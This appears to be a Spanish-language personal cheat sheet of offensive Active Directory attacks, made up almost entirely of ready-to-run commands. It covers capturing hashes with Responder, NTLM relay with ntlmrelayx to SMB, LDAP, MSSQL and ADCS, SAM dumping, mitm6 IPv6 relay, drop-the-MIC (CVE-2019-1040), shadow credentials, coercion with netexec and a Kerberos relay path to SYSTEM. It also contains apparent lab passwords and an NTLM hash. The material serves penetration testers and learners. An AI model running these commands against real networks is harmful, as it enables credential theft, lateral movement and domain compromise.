Skip to content

#ActiveDirectory #smb #kerberos #adcs #netexec

Modo capturar hashes

bash
sudo responder -I eth0 -wdF
ls -la /usr/share/responder/logs

Filtrar por hashes distintos

bash
ls -la  /usr/share/responder/logs | awk '{print $NF}' | tail -n 15 | xargs cat | grep '::DOMAIN' | sort | uniq

Extraer usuarios válidos de los hashes

bash
cat /usr/share/responder/logs | tr ':' ' ' | awk '{print $1}' | sort | uniq | grep -vE ',|\/|-|#'

Modo relay para SMB (volcar SAM)

Aquí la idea es relayar las conexiones de administradores que se equivoquen al escribir la ruta de una carpeta en red por ejemplo. Esta conexión se relaya hacia el resto de máquinas de la red que no exigen firma y se dumpea la SAM.

Generamos una lista de relay con todos los activos que no tienen smb firmado

bash
nxc smb ip/24 --gen-relay-list relay.txt
bash
sudo nano /etc/responder/Responder.conf

Ponemos en OFF SMB y HTTP

bash
sudo responder -I eth0 -FPv
sudo impacket-ntlmrelayx.py  -tf relay.txt -smb2support
bash
nxc smb IP/24 -U USER -H HASH  --local-auth --sam

Modo relay IPV6

bash
sudo python3 mitm6.py -d DOMAIN
bash
impacket-ntlmrelayx -6 -wh 10.17.0.213 -tf formated_relay.txt -socks -debug -smb2support

Modo relay SMB a LDAP/S

bash
sudo $(which ntlmrelayx.py) -t ldap://192.168.56.5 --escalate-user krennic -smb2support

CVE-2019-1040 — esto permite eliminar la firma MIC (Message Integrity Code) del mensaje NTLM, conocido como drop-the-MIC:

bash
sudo $(which ntlmrelayx.py) -t ldap://192.168.56.5 --escalate-user krennic -smb2support --remove-mic
bash
sudo ntlmrelayx.py -t ldap://10.129.244.95 -smb2support --no-wcf-server --remove-mic --escalate-user a.white
bash
sudo ntlmrelayx.py -t ldap://10.129.244.95 -smb2support --no-wcf-server --remove-mic --shadow-credentials --shadow-target a.white_adm

Ldap shell (mejor con ldaps)

bash
sudo ntlmrelayx.py -t ldap://10.129.244.95 -smb2support --no-wcf-server --remove-mic --no-dump --no-da --no-acl --no-validate-privs -i
bash
sudo ntlmrelayx.py -t ldaps://10.129.244.95 -smb2support --no-wcf-server --remove-mic --no-dump --no-da --no-acl --no-validate-privs -i

Modo relay SMB a MSSQL

bash
sudo $(which ntlmrelayx.py) -t mssql://192.168.56.6  -smb2support

Para generar persistencia 💡

bash
sudo $(which ntlmrelayx.py) -t mssql://192.168.56.6 -smb2support -socks -debug
bash
proxychains mssqlclient.py EMPIRE/CORUSCANT\$@192.168.56.6 -windows-auth -no-pass

Modo relay SMB a HTTP (ADCS)

Dependiendo del caso podemos solicitar un certificado de tipo DomainController o User también

bash
sudo $(which ntlmrelayx.py) -t http://192.168.56.7/certsrv/certfnsh.asp --adcs --template Machine --remove-mic -debug
bash
nxc smb 192.168.56.8 -u 'poe' -H 'e34476e34ffced85899127b84ea71eee' -M coerce_plus -o 'LISTENER=192.168.56.1'

❗️ No puedes relayar contra el mismo equipo (si el DC y el servidor de certificados son el mismo )


Probar Coerción con netexec

Si recibimos hashes entonces ha sido éxito

bash
sudo python3 Responder.py -I vboxnet0 -wdF
bash
nxc smb empire.local -u 'krennic' -p 'liu8Sith' -M coerce_plus -o 'LISTENER=192.168.56.1'

Herramienta automática: RelayKing 👑

bash
python3 relayking.py -u 'krennic' -p 'liu8Sith'  -d empire.local --dc-ip 192.168.56.5 -vv --audit --protocols smb,ldap,ldaps,mssql,http,https --threads 10 -o plaintext,json --output-file relayking-scan --proto-portscan --ntlmv1

Relay de kerberos

🔗 https://www.thehacker.recipes/ad/movement/kerberos/relay

Enumerar CVEs

bash
nxc smb 10.129.36.164 -u 'svc_scan' -p 'Sunshine1' -M enum_cve

Escalada de Privilegios con reflection/relay de Kerberos a LDAP (KrbRelayUp)

🔗 https://github.com/Dec0ne/KrbRelayUp/tree/main

Necesario:

  • Acceso local como un usuario de bajo privilegio
  • LDAP sin fimar
  • ms-DS-MachineAccountQuota > 0

Resultado:

  • Escalar a SYSTEM

Notas personales de seguridad ofensiva.